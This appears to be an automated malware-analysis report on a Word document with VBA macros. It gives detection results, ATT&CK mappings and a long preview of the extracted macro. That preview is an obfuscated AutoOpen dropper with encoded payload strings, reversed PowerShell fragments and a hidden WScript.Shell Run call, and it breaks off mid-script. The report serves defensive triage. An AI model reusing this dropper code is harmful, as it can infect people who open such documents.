MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample is a malicious OLE document containing VBA macros. The AutoOpen macro utilizes WScript.Shell and CreateObject, indicating an attempt to execute arbitrary code. This functionality is commonly used to download and execute further malicious payloads, as suggested by the ClamAV detection name 'Doc.Dropper.Agent'. No specific family could be identified, but the dropper functionality is clear.
Heuristics 10
-
ClamAV: Doc.Dropper.Agent-6473028-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6473028-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
NKdbrAAwVCsPvuBsUcoRAJFJLaF.UwPfBERinzPYEE.BWWDUlQjcijtEF.PQusdWmMNqcSEXNPMv CreateObject("WScript.Shell").Run DnpXl + GZoNkZsZG + ESnASLMdT + wdMajOJIMrT, vbHide JPPWzBBhatJVZEz.vfPplpOlzVTodjKu.sIYkvNKbmHFUq.fPzNhbdaTAdW -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
NKdbrAAwVCsPvuBsUcoRAJFJLaF.UwPfBERinzPYEE.BWWDUlQjcijtEF.PQusdWmMNqcSEXNPMv CreateObject("WScript.Shell").Run DnpXl + GZoNkZsZG + ESnASLMdT + wdMajOJIMrT, vbHide JPPWzBBhatJVZEz.vfPplpOlzVTodjKu.sIYkvNKbmHFUq.fPzNhbdaTAdW -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "mkajLDEwNHciaV" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 32394 bytes |
SHA-256: abdfe422e27490d464c1d15dac04b9675a44bf04535257f4c08b161f7ce0afee |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
606 of 783 identifiers look randomly generated (e.g. 'Nzdbv8EdOkDAxAANAYDAlBAMAMGAkBwMAMDAlBgY') — consistent with name-mangling obfuscation. Carved artifact contains 16 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "mkajLDEwNHciaV"
Sub AutoOpen()
On Error Resume Next
OMwCBNPGhlqiQYMOTmnwftAoPi.zzDdzKOqdRtmhXitwVUoZBsJ.mXKVLInScRHiIqXBiizazFaAACS.uLvGukNnEUSJGUFFWOqfzmqTvjsj
JVJpsXRWAkXdkzOQoTfAVilLnzIU.LKrjruzITNwojViSBMpcD.PNjbfjzBvPwupZ.zsCOHUGjMlIGsmkSsZDvizQ
PKRRhrpfFmEUmNvmI.UpWdFPLwEVmdCzcozwDoBU.cBGhQfidQnzfasmFCGknUtckHrwO.jTcAstczhvQarVqCRCwNrAiRjcjYW
ZhQihTXfiwJGULTNcYmhp.CAHikLTQKDdHVjKNoWflTzDkjX.TAKmokjfPWwiMMSnGdMpjDPkPCEVE.WCNNAPAQoWmEuqpnSZBKwHThNPlaW
Application.Run "pqQjqRN", MdPnpcmizGDicF
jOaRAvVwMCnqopDfIYucjiTt.PifzkiZtDqXd.qtSUNzXGTdiiHMfuBCuhRl.pwbXNwlzfCfiAKPQ
WuvFARcSuzBocvLEjc.lbKJhizfbdfkmlaLXpI.jzFTzjLCGTdThtfsLkOaBmAoO.PCBkoPYoomWrMwTwZ
ALDtGizmbhmuwR.iUIAVfNvsEsWU.QHFNsnDLVwTkBorBtnEn.dKvDdmQKoNMfOKZhhGdAXw
hldYEqKERjvmwJK.BnBhjGEndRUMhamGi.NRANLTdIuwTYcYXrcNVRcbjpvmWwX.uoIzvsOnbhDaLGUFovoqwYkNXm
End Sub
Function MdPnpcmizGDicF()
On Error Resume Next
KzVfAoWuPjGr.bAfSUNwPlSqLQSIDtFjW.KposMasvZQXTqvYX.dMtmZhiUkWNqWaXVM
hDNWorwjcb = ytgUBhjkgbksad("S5QYAMGAyAQOAEDAmBQYAQDAwAgNAIGA5AgZAkDAkBAZAYDA2AwYAMDAhBgZAUDA5AQZAADAkBAZAADA5AQYAQGA4AAZAgDAlBANAkDA1AwMAYDAwAAMAEDA1AQOAUGAwAQMAQGAyAAOAgDAxAnbarEvpI4lEB", 13, 144)
KzVfAoWuPjGr.bAfSUNwPlSqLQSIDtFjW.KposMasvZQXTqvYX.dMtmZhiUkWNqWaXVM
wNqkOfYLrjKwUvKPuIwXzkWsPav.ifmjWcpqBbmYuuia.OnPrjwaPcvOqwV.jLdMtaarFTOTVXcDFvlAmjVCh
TioSC = ytgUBhjkgbksad("JG)tvS@YA2AAZAMGAhBwMAgDAxAAZAcDAzAwYAMDAxAgYAUGAyAgNAQDAyAwNAcDAzAAMAEDA4AwMAMGAxAQMAEGAmBgYAYDAiBAZAMDA4AQMAMDAjBQNAEDA0AQOAkDAwAAMAgDA1AwMAMGAmBAZAkDA4AgY@684<lOiX", 10, 149)
wNqkOfYLrjKwUvKPuIwXzkWsPav.ifmjWcpqBbmYuuia.OnPrjwaPcvOqwV.jLdMtaarFTOTVXcDFvlAmjVCh
uEOwqSojwmqztptk.qZCoqOCiTXJGYhQznPSjaXz.EtWYGTiXrXOP.ZDqLNXufcZEZzGZaEHSaBjwriczpm
cqdAfnEmHG = ytgUBhjkgbksad("_GCz3Y6tjlz(A)#AzAwYAADA5AgMAMDAhBAZAYDA2AQZAgDAiBgZAYGAxAgZAIGA4AQNAADA1AwNAADAwAQOAQGAkBAOAEDA2AQYAUGAmBQMAgDA2AgMAADA5AgMAcDAxAgYAYGAkBgZAADA2AAMAMDAkkil)ca#wWjddPk)Y@", 18, 138)
uEOwqSojwmqztptk.qZCoqOCiTXJGYhQznPSjaXz.EtWYGTiXrXOP.ZDqLNXufcZEZzGZaEHSaBjwriczpm
TmLQYXUzfkQGJ.vhQaissQBQLOCujwcauGanMLhstW.ALDruCbZVzAMCkuEKUa.hHpMDUHVFtlzVuBE
mHcDKwKkI = ytgUBhjkgbksad("N4T8jt(E@VE8M83_9zSzAQGAlBgNAUDAiBAOAQGAzAQZtpnY8XK@VD$ds", 14, 24)
TmLQYXUzfkQGJ.vhQaissQBQLOCujwcauGanMLhstW.ALDruCbZVzAMCkuEKUa.hHpMDUHVFtlzVuBE
zXQZKjlzYdCUwqDdSpK.ESwNzsWziKBiDCM.LpkmthKVwHZNswcQMVQjbDZRJnUNc.QviDSdEYQXIaRsTJFhik
ZGRzT = ytgUBhjkgbksad("<rbiOpvoB)VAgZAIDAmBQNAgDAlBgYAEDAkBQNAgDAlBQYAQGA5AwYAIDAwAQZAEGA2AgMAEGAwAQNAUDAmBANAUDAlBAMAYGAyAAZA])UO!5zrNYOd4CzWc", 18, 92)
zXQZKjlzYdCUwqDdSpK.ESwNzsWziKBiDCM.LpkmthKVwHZNswcQMVQjbDZRJnUNc.QviDSdEYQXIaRsTJFhik
uVtVFwCJjBTj.ZBqmVwICzpNcNiVPKiSAqbLsiwv.XVHEaEriZDOlwwwjjtsRhtVWBfCwq.EZCJichJCJnmqHQjBsifLpEdRdzlC
iRjaVYWaM = ytgUBhjkgbksad("t4bDlnijEhYzGA2AwNAgDA0AgZAQDAkBgMAcDAxAAOAkDAxAgZAgDAlBQOAgDAlBwMAADAzAwYAMGA2AgMAUGAyAANAcDA3AANAgDA2AgYAUDAlBQMAwHA9AQPAcHAhBgWAUEAxAAMAEGACBgbAcDAKBgQAMEAw6tPJOz)d8IC@Er#", 16, 146)
uVtVFwCJjBTj.ZBqmVwICzpNcNiVPKiSAqbLsiwv.XVHEaEriZDOlwwwjjtsRhtVWBfCwq.EZCJichJCJnmqHQjBsifLpEdRdzlC
LrHDMjFlErOQqdYjw.TzdiBiazSTRYbBrWhzDMakbl.HPaLwbTMOWKmjqcdNNlTj.NYUwZjmJjYsCtPznW
LdIwbi = ytgUBhjkgbksad("HqN4<dCV@rBAMAUGAkBQZAADAlBwNAkDAiBQYAEGAiBAOAYGAxAQNAMDA2AwYAQDAzAwYAIGAmBQNAMGA2AQNAMDA5AQYAQGA1AwMAQDA1AQYAcDAiBgYAcDAyAQMzv", 3, 115)
LrHDMjFlErOQqdYjw.TzdiBiazSTRYbBrWhzDMakbl.HPaLwbTMOWKmjqcdNNlTj.NYUwZjmJjYsCtPznW
jHvpEBjOuaFUZkfbzYzvfQQXZkTk.AXclBiFbUFpAiACJtHzLwAURrRS.YPUhwVuCdjYBZzfTIuzQOOjcUZ.ADKukQODElHBNGzjKizlwVBJwTCcK
lqvpfoN = ytgUBhjkgbksad("JG_mPbalFdjTVDiBQYAcDA3AgZAYDA2AAZAYGAxAQZAQDAwAQYAUDA4AAOAUGA1AQMAcDAlBgNAgDAxAQNAQGAiBdSG15", 6, 74)
jHvpEBjOuaFUZkfbzYzvfQQXZkTk.AXclBiFbUFpAiACJtHzLwAURrRS.YPUhwVuCdjYBZzfTIuzQOOjcUZ.ADKukQODElHBNGzjKizlwVBJwTCcK
twaSwRlUhimzJmn.MNrmjqYHLOjN.nwZicHtZHdkbForjOwLPlwijl.CaTHjlXhukNTjfucEkHKbB
zUTwRkDIHt = ytgUBhjkgbksad("WrkBgYAQGA3AgZAYDA2AAMAIDA0AQYAgDAkBgZAIGAxAANAgDA3AwMAEGAiBAOAQDAlBANAADA0AANAIGAxAgYAEGA4AgYAIGA5AQZU4C)jb8z4_zz]iJ6sAzJOoV", 24, 100)
twaSwRlUhimzJmn.MNrmjqYHLOjN.nwZicHtZHdkbForjOwLPlwijl.CaTHjlXhukNTjfucEkHKbB
qtskajriupMjtVOImL.rrzRtJilLNYCqitiBFPkWatTTVXq.bIKWwkcrczbswfVVnWBzr.CXbYQzfwXlrIkFOf
obAOL = ytgUBhjkgbksad("T$zBASAADAyBgNAwEAhBgVA0GA8BgM5435a05061b3143240f3476111d29467'($ (IsnAcOlLalABOLgotgNIRTserUcEs::]LahsraM.SEciVREsPORETNi.EMiTnur[ (IsnagniRtSOTRtp::]LahSRam.SEcIVReSPOretnI.EmItNur[ (( )''nIoJ-@mVb@!q@(i4VolordO5l@3rsJVWrmo<O", 33, 192)
qtskajriupMjtVOImL.rrzRtJilLNYCqitiBFPkWatTTVXq.bIKWwkcrczbswfVVnWBzr.CXbYQzfwXlrIkFOf
KpPDFrZfwwOhoUvFEnAtHTb.jmEQDzmiuUTDDQAlOJTDMboDfCvh.WbrOUWSmJcwK.mTBrCnnPfzzXhFwBkADFiYs
jwoAcCcOLT = ytgUBhjkgbksad("@TlbKzT5YAMDAyAwMAADAyAQZAUDWrt4TrkHUTa", 12, 20)
KpPDFrZfwwOhoUvFEnAtHTb.jmEQDzmiuUTDDQAlOJTDMboDfCvh.WbrOUWSmJcwK.mTBrCnnPfzzXhFwBkADFiYs
MoYZohUtiuCjfHkdJvw.LrRONoSOYLiXWKw.UthVtikQEfkCjsO.KJJUWKLAOFVXLiNUJb
OPijHCX = ytgUBhjkgbksad("l1MEi8d5N8WPNhBgYAMGAwAgNAIGAyAAMAIGAkBgNAgDA5AAOAEDA2AQMAUGA4AgZAMGAhBwNAYDAmBAMAMDAkBg$z8)X)tH8", 10, 75)
MoYZohUtiuCjfHkdJvw.LrRONoSOYLiXWKw.UthVtikQEfkCjsO.KJJUWKLAOFVXLiNUJb
BzswifuGCMkmOOVijpzQjaVd.oOmoawOGOqLVODHatRiIHcQIsvW.FEbbOCtRIScQWjAYJISlp.mJnUmLwdviZmAJOjHMJqSaoRmb
Lkwlf = ytgUBhjkgbksad("jAOC%#rVOclo1qbkvQGmdF<AIDAxAQOAkDA3AQYAIGAwAQMAUDA4AgNAQGA3AgMAIGAhBwYAEGA1AgYAUDAjBgZAIDAjBAOAQDA5AQNAkDA5AANAQDA0AANAYDAiBgMAYGAmBANAUGAjBQYAMGAyAgZAIDAkBgNAUDAwAwYAEDAiBQMAcDAlBwMAgDA0AAZAIGAjBwNAUDAkBANAYDAzAQYAM ", 2, 194)
BzswifuGCMkmOOVijpzQjaVd.oOmoawOGOqLVODHatRiIHcQIsvW.FEbbOCtRIScQWjAYJISlp.mJnUmLwdviZmAJOjHMJqSaoRmb
ZBjnhITwaWrMaEwAb.uFtkuLjiwWftmku.uVSZfrTVzuFCK.NLhtQjWpGYDzJwThkH
GMksNQU = ytgUBhjkgbksad("1NVGVOjBQMAgDA2AgZAcDAyAwYAEGAhBgYAUGAmBgYAMGAmBAZAEGAiBwNAEGAxAQNAQDAxAgZAQDA3AQYAYDA0AAMAkDA0AgYAMDAjBQYAUGA4AwMAYGAzAQNAYDAhBgNAYDAxAgZAADAhBAOAEDAiBwNAEDA3AAZAMDA1AANAYGA2AwMAcDAwAw(9CYi", 6, 179)
ZBjnhITwaWrMaEwAb.uFtkuLjiwWftmku.uVSZfrTVzuFCK.NLhtQjWpGYDzJwThkH
sDBivlBbiRdiBLAoQ.BkYLIIVwGdEwIbQ.ZaYQVDTSVQdhkrXI.PNOshvsJwiXWhIBOolaPznwRFqsin
jIcqcjIVU = ytgUBhjkgbksad("dYdPjNYj9hbV3])c@YAMGAH", 2, 5)
sDBivlBbiRdiBLAoQ.BkYLIIVwGdEwIbQ.ZaYQVDTSVQdhkrXI.PNOshvsJwiXWhIBOolaPznwRFqsin
oZKEbwucajfMMXvQZpnzMKzcYHqO.zMZjJvDqOXOAYbHoVccuGHAzi.dZifTIfocWFjDbrZLSYzojrn.fNTiqLaBZSdIi
UMUrYzV = ytgUBhjkgbksad("MUCWNC<lPVzN Y3s6<4$plDjlzAQGAVNBWzJza<v)", 12, 4)
oZKEbwucajfMMXvQZpnzMKzcYHqO.zMZjJvDqOXOAYbHoVccuGHAzi.dZifTIfocWFjDbrZLSYzojrn.fNTiqLaBZSdIi
hiSdEwEnbFRKIadqrfRfaiiKNzIBW.FipViRAWjUfFQDEFIrofwPzo.CwIQGpCRpAmUnwLqUwwz.OfFIpRNqpqhBzbVsGZi
CzXptKHc = ytgUBhjkgbksad("b<#lr8r@OG)vWDXllz3rMlAMAEGA5AAMAEGAiBQOAkDA3AAMAMDAxAwMAkDA4AgMAQDAzAAOAUDA3AgNAMGA1AwMAMDA3AAZAEGAmBwNAIGA5AANAMGA5AAOAMGAiBQYAYDAmBQOAYDAmBwMAMGAmBwYAIGAkBQOAIDAwAQZAIDAhBQZAkDAxAAOAkDA0AQOAYDAxAQzkrlVE", 7, 177)
hiSdEwEnbFRKIadqrfRfaiiKNzIBW.FipViRAWjUfFQDEFIrofwPzo.CwIQGpCRpAmUnwLqUwwz.OfFIpRNqpqhBzbVsGZi
jaZnwDEwZwGaHWwIopDwhWwFMuOu.FCXOpVMhzcEBFrqzAHAwNq.ALOJcTaEpKTUvi.RAlapMzvcfIILmNv
qnqORjcLvR = ytgUBhjkgbksad("]lt#oTvJjO#Nzdbv8EdOkDAxAANAYDAlBAMAMGAkBwMAMDAlBgYAMDAiBwMAYDAmBwMAEDAhBAZAMDA3AAOAIDAhBAMAEGA5AgYAcDAlBwYAEGAwAAZAQGAwAQMAgDA4AgNAIGAlBAOAMDAhBgYAEDAyAwNAADAmBQNAcDAiBgYAMGAiBwM@zitkX5B", 9, 159)
jaZnwDEwZwGaHWwIopDwhWwFMuOu.FCXOpVMhzcEBFrqzAHAwNq.ALOJcTaEpKTUvi.RAlapMzvcfIILmNv
azaLMXOLjvHubYnwXkwPidjv.ujzRmsFhYLTKNjlLfiNsKzurdvwoP.wPfOSnRtwCBMDM.lKDNEwzVCmupGoruQSR
PWWROVAlInm = ytgUBhjkgbksad("vt6Tn]CYGA5AQZAMDAlBAZAQDAyAAOAADA2AwMAUGAwAQYAEDAkBAZAMDAzAQZAgDAwAQMAADAmBQYAYDA4AQNAYGA3AQMAADAlBAOAMGAkBgYAIDA5AAMAUDAhBgNAIDA5AgNAkDA4AANAcDAlBQMAUGA1AAOAcDAjBAOAIDA2AwNAUGAmBwYAMDA3AwYA[6d(3MC3Xq#IdCCJ@niJj", 22, 184)
azaLMXOLjvHubYnwXkwPidjv.ujzRmsFhYLTKNjlLfiNsKzurdvwoP.wPfOSnRtwCBMDM.lKDNEwzVCmupGoruQSR
QwjPCiESEOQvVGZjdrqjivv.ciivLfIfthQD.TlWsINbIPhjpQRcWkE.BdmTEIHYGkBnpWOKFUo
drifstZRA = ytgUBhjkgbksad("kK6<d4IzJVU3b@Uws%[NAMGA3AwNAIDACO_wb8", 7, 13)
QwjPCiESEOQvVGZjdrqjivv.ciivLfIfthQD.TlWsINbIPhjpQRcWkE.BdmTEIHYGkBnpWOKFUo
oumqXGXsJNjSLisziBLnbu.DtqGbfCzvnKBlCWzMEkVZlzndLu.TZpBuBiwjAwMGNniBcGzI.wjrZTSwDcPkZf
KiijnNk = ytgUBhjkgbksad("YbmAYDAiBgNAMGAiBQMAkDAlBQYAMDA5bG8F5)3vo", 10, 29)
oumqXGXsJNjSLisziBLnbu.DtqGbfCzvnKBlCWzMEkVZlzndLu.TZpBuBiwjAwMGNniBcGzI.wjrZTSwDcPkZf
iqDtVGjPahEqQDW.vRYWbrTuOWrDN.tzkzZloLlzZvYUuXfZKmjzH.hnWJizPfCsnGFRikRkfY
hEzmlk = ytgUBhjkgbksad("T]H8(!SkEN8jYb@vT@OAgDAhBQNAMGAlBANAQGAkBAMAMGAjBgNAYDAjBQNAUDAlBgMAMDAmBQYAcDA4AwYAcDAhBQZAQGAwAANAcDAkBwMAMDA5AwMAcDA4AQNAUGA2AgNAEGA1AQMAYGAmBAZAUGAjB4UlVS9GEjoPB", 13, 135)
iqDtVGjPahEqQDW.vRYWbrTuOWrDN.tzkzZloLlzZvYUuXfZKmjzH.hnWJizPfCsnGFRikRkfY
RkIqcufXKSUIDApQsqjn.tiUtHbILWbjpqEUtYlFHPNKbAk.DEXiwqjYBnwVSWMnqoSMvVXUFdf.jYtsXiEHwzkzHjSFcQnkD
lqVEG = ytgUBhjkgbksad("or9EI9doVIGPwAQGAwAgNAYDA2AgNAADAkBQOAEGAxAAMAMDAjBgYAYGAzAQZAUGAlBQYAYGAyAQZAkDA4AgYAQDA4AwNAQGAhBgZAQGAzAAZAgDAkBQOAIDA3AAMAgDA2AgZAkDAlBQOAMDA0AwYAQGA3AAOAUGA3AAZAIGAyAgNAz8JjEm1Jm@", 11, 161)
RkIqcufXKSUIDApQsqjn.tiUtHbILWbjpqEUtYlFHPNKbAk.DEXiwqjYBnwVSWMnqoSMvVXUFdf.jYtsXiEHwzkzHjSFcQnkD
YaLTsWCpYBoAqXKkBEPzjVA.ToYcILDiFiVnlwGkRVLuQti.WBBjsJzDafADzahMwJvI.WwCzijLKGPZJ
swuFvciUW = ytgUBhjkgbksad("mFOAgZAgDAjBAMAUGA4AANAIGAjBgYAADAzAQMAMGAkBAZAMGAwAQYAUGAmBANAIDAhBwMAYGAjBwMAkDA0AQZAQGAyAwMAUDAlBwYAUDAiBQNAADAmBANAUGAyAANAQDAyAQZAMGA0AgMAkDA2AwMAEGA0AwYAIDAci(Yok<V", 9, 159)
YaLTsWCpYBoAqXKkBEPzjVA.ToYcILDiFiVnlwGkRVLuQti.WBBjsJzDafADzahMwJvI.WwCzijLKGPZJ
bFcfpwDASiSJmhLTQJ.JWOhnzzkGYcOFziuBOUpiOSJzoEP.LmwLkOvMXojsNzbqQNKDmKFw.LuDFiwuiAuldDVlmhd
SDoBOHb = ytgUBhjkgbksad("G8)XK1j4Ta8kU49X)AkBQOAYGA5AQOAcDA5AgNAQGAkBAZAEDA5AgZAkDA3AgMAQGAmBAj3jPDBlcYbO", 12, 52)
bFcfpwDASiSJmhLTQJ.JWOhnzzkGYcOFziuBOUpiOSJzoEP.LmwLkOvMXojsNzbqQNKDmKFw.LuDFiwuiAuldDVlmhd
jiGatiqjoHwNGzQ.vzwsCRAwPmmJ.tWjMMIjTnjbzHJUWaFfqJGmlOG.iJKGshqukPBurhiHO
TaqPnDb = ytgUBhjkgbksad("6bUD%lEoXW5V[vSoL49@l8rmBAOAMDAhBwNAQGA3AAZAkDA5AQYAMDAiBgMAEDA4AQOAMGAyAwYAADAjBQNAcDAkBgMAEGAmBwNAIGA4AAOAgDAxAgYAQGAyAgNAgDAyAQNAIDAzAgNAMGA4AwMAIDAiBtBH@C8okjj<N", 13, 130)
jiGatiqjoHwNGzQ.vzwsCRAwPmmJ.tWjMMIjTnjbzHJUWaFfqJGmlOG.iJKGshqukPBurhiHO
vEkPKfsiMEsbB.QmljqYoWkQdWuRkwZwWAZUTYBpGbo.jWzrdKJqmiOZUTlnlbzNfuEBYwSN.ARNipjHWCoaoiLolAAzmNEf
SoFbCV = ytgUBhjkgbksad("vV4 @wMAMGAmBQMAkDAjBwMAcDAyAAMAMGA5a LkErJ1(o@pVP#XKWET3D(", 24, 31)
vEkPKfsiMEsbB.QmljqYoWkQdWuRkwZwWAZUTYBpGbo.jWzrdKJqmiOZUTlnlbzNfuEBYwSN.ARNipjHWCoaoiLolAAzmNEf
GiMhKpjlJOvVWWKfsU.UBJDnNNWKrozYB.HAawmVSRBtimNDnjzpkfRwiZUzSWu.PWUYPKEuilCkIKFazSX
ZojotiTEQtT = ytgUBhjkgbksad("3lVdE]2,11,3[eMan.)'*rDm*' Vg((& w(@Sz", 6, 28)
GiMhKpjlJOvVWWKfsU.UBJDnNNWKrozYB.HAawmVSRBtimNDnjzpkfRwiZUzSWu.PWUYPKEuilCkIKFazSX
PWiSZXQjwBQnMojXOsAHucoIhV.zwjDtvVELjichmWNiwIbrab.jwjvniakDoSkRzX.rjYrjQTVYOFLZtqWXXUuLaRcGzY
KnTJBAT = ytgUBhjkgbksad("zJwOqms!5clVn<%C#Wo UBwYAYDAkBwMAIDAlBAMAADA2AAMAcDAwAAZAIDAiBANAgDAyAQYAMGAlBgMAEDAwAgZAQDAwAgYAcDA4AgZAcDnz<", 4, 86)
PWiSZXQjwBQnMojXOsAHucoIhV.zwjDtvVELjichmWNiwIbrab.jwjvniakDoSkRzX.rjYrjQTVYOFLZtqWXXUuLaRcGzY
LQCiNMdDajYEkFhqFvztbK.GjPGkmCMhDbki.wJdTkzazIzqPIswnMB.NvzwGsRYXrAI
PdUkGwTuiUq = ytgUBhjkgbksad("z@rPENnO8DwQOAEDA5AQMAUGA3AwNAcDAzAQNAMDA2AAOAYDA1AgZAYGAwAAMAMGAiBAOAEDAmBQYAUDA3AwMAkDAyAwYAUDAkBwMAQGAjBwNAQGA4AgNAmOH!Q", 6, 107)
LQCiNMdDajYEkFhqFvztbK.GjPGkmCMhDbki.wJdTkzazIzqPIswnMB.NvzwGsRYXrAI
QawnEvqljzhrmfpurTspDqPJihE.wqDfiPSfwczRnBh.pbzJvduSzzra.nJXrhottCNXMJwP
ZmZwQzwm = ytgUBhjkgbksad("m)qYoz8zP9YUJ(8kDA0AwYAIDA1AQMAEDAhBAMAkDAiBQZAgDAwAAMAQGA2AwYAYGAiBQNAYDA0AQOAYDAlBwMAEDAkBQNAUDAwAwMAQGAkB%j6d5VvWX9Kj))9n", 17, 93)
QawnEvqljzhrmfpurTspDqPJihE.wqDfiPSfwczRnBh.pbzJvduSzzra.nJXrhottCNXMJwP
AzGBsDRcXIviItztWKiMbqn.qJqVjHYWlzphWmtdOLjnQBpMJh.ZdWFKMRKiMvsQkYsJESXkREw.JzZpTiLCXwtOtfVEc
NppsGZCauX = ytgUBhjkgbksad("TbjtNC9CQ3!8o5oYX@8[oIYDAzAQMAUGA3AQOAEGA1AgMAMGAhBQMAQGAxAgMAgDA2AANAEGAiBAOAMDAzAAOAEDAyAAZAADAwAgYAMDAiBAMAUGAiBwNAQGAzAgYAMDA1AAZAIDAwAwYAIGAlBwMAgDAzAQNAYGAhBAMAMGAjBQZAIGAyAANAIDAzAg9EdjtOr<n[HP ()VV", 18, 166)
AzGBsDRcXIviItztWKiMbqn.qJqVjHYWlzphWmtdOLjnQBpMJh.ZdWFKMRKiMvsQkYsJESXkREw.JzZpTiLCXwtOtfVEc
AjvicsSGVOTwVRoCDzshBSjLwfhKQ.wEPGkHswTbVhRXmbTiCDW.GrwhDjmzLHptSPiPjhJFfRMTBIZ.MCINECzYICEIMWQNsX
Glmza = ytgUBhjkgbksad("K)YkWbC1)dVYAYDAxAwMAQDA0AQZAYGAjBAZAMDA1AQZAYDA5AgYAUGAzAQZAADA3AAMAEDAwAQOAYDAyAQOAQG(@JA8SmQF)VroVo1$r@Q<io#5G([", 29, 76)
AjvicsSGVOTwVRoCDzshBSjLwfhKQ.wEPGkHswTbVhRXmbTiCDW.GrwhDjmzLHptSPiPjhJFfRMTBIZ.MCINECzYICEIMWQNsX
ElzJvQpiEPzBb.UUjpDXPjPpiEriiYuYEMNdZhdQG.oqfHXWAwzznSoYWJ.rZGzjUZzOjruBLnRBsYKa
HUAWRUJ = ytgUBhjkgbksad("(@WOzVB3jC)3(PAwYAYDA5AgMAYGAiBgYAcDA0AgMAQDAxAwMAQDA4AwNAIDAhBwNAEDAlBQYAUDA3AwNAEGAyAAZAgDAmBQMAUGA0AgZAUGAmBAMAgDA4AwNAQGAiBgYAADAwAAOAADAkBAZAcDA5AgNAIDAlBANAMDA0AQZAADA4AQMAMDC#dio9lDr3X ", 13, 166)
ElzJvQpiEPzBb.UUjpDXPjPpiEriiYuYEMNdZhdQG.oqfHXWAwzznSoYWJ.rZGzjUZzOjruBLnRBsYKa
vzbGLYZVTPtbHzPZRRZrvO.wSnmJZCTNvLPc.MapzpzhQfFtcltbjiihvcoYlP.QvjjwkmmFqjrGRVimhsjnIsdQcih
joilTdvX = ytgUBhjkgbksad("vI9zo)3EGAiBQZAMDAyAQYAgDAjBQOAEGA0AwNAYDA4AQZAUGA4AwMAQGAlBgNAUDAyAQOAkDAmBAMAQDAxAQMAkDA2AQYAgDAjBwYAIDAyAANAIGAmBQNmjl(w1S__$MFX$ib", 17, 111)
vzbGLYZVTPtbHzPZRRZrvO.wSnmJZCTNvLPc.MapzpzhQfFtcltbjiihvcoYlP.QvjjwkmmFqjrGRVimhsjnIsdQcih
wjsEiSAObMGKLERCSqKcCT.lzJUSJJFuHrbGUqmhWVrc.zYdXDIrELdcDGFZzhFRGM.TcKhcEcFjcALB
BJOEiOkto = ytgUBhjkgbksad("]Q! v)l(5h8hVFbLjbBtB_BrdjP5TDAjBAOAYGAwAQZAMDA0AQOAMDA4AAZAMGA3AAOAcDA2AwMAIDA2AwYAUGA4AQZAgDA4AAMAQDAxAQNAEDA2AAMAMGAkBgMAEDA5AQNAYDAwAANAUDAjBwNAQGAxAwNAUGAkBgYAgDAmBwYAMGA2AgZAEGA4AAOAkDA0AQNAPbY5j", 6, 167)
wjsEiSAObMGKLERCSqKcCT.lzJUSJJFuHrbGUqmhWVrc.zYdXDIrELdcDGFZzhFRGM.TcKhcEcFjcALB
SajDVsiftcjOliQFhfdcE.RzjrYzRjdbDE.aAwGdEkUURzZCFHI.bAXQIlXdTjNNwILhSq
njFccHOwYvk = ytgUBhjkgbksad("dn z)3AADA2AAOAQDAzAgMAIDAlBwYAUGAwAQZAIDAwAAZAQGAwAAMAIGAyAgZAIGAxAQZAYDAmBwNAEDAkBwMAgDAhBAMAkDA3AQYAEDAwAAOAUGA5AAZAEGA2AQOAEDAyAANAYDAxAwYzM8(4)rk]htHB4#", 16, 136)
SajDVsiftcjOliQFhfdcE.RzjrYzRjdbDE.aAwGdEkUURzZCFHI.bAXQIlXdTjNNwILhSq
MSvRGYdjUFNcwrOiwrZzw.toCDwJsuhsFh.CSTPNRJAkhuGdKDkFwYiLZH.CbUoZXVWRLLQicLho
ZNnBjQz = ytgUBhjkgbksad("B4<al6]F$,651,74,92,451,041,91,651,361,15,6,291,06,75,631,612,281,152,341,151,781,571,602,791,922,87,62,36,602,241,451 eK- gnirtsERuceS-oTTrEVnOC | '==AAzAwNAMGA4AQYAUGAkBAZAIGA4zFMY$Mosz)zrz<%44P<38j1vT9(", 29, 170)
MSvRGYdjUFNcwrOiwrZzw.toCDwJsuhsFh.CSTPNRJAkhuGdKDkFwYiLZH.CbUoZXVWRLLQicLho
bUozRRincqNdSMHcpwBYEWRLtYIip.QfZkOEFHKrsQzIGmNMlRwGD.tFDcDtIvwwahEhwCXhoJfoYIFHK.wXhJcfrIAdDRizSBhYijNjuRStOF
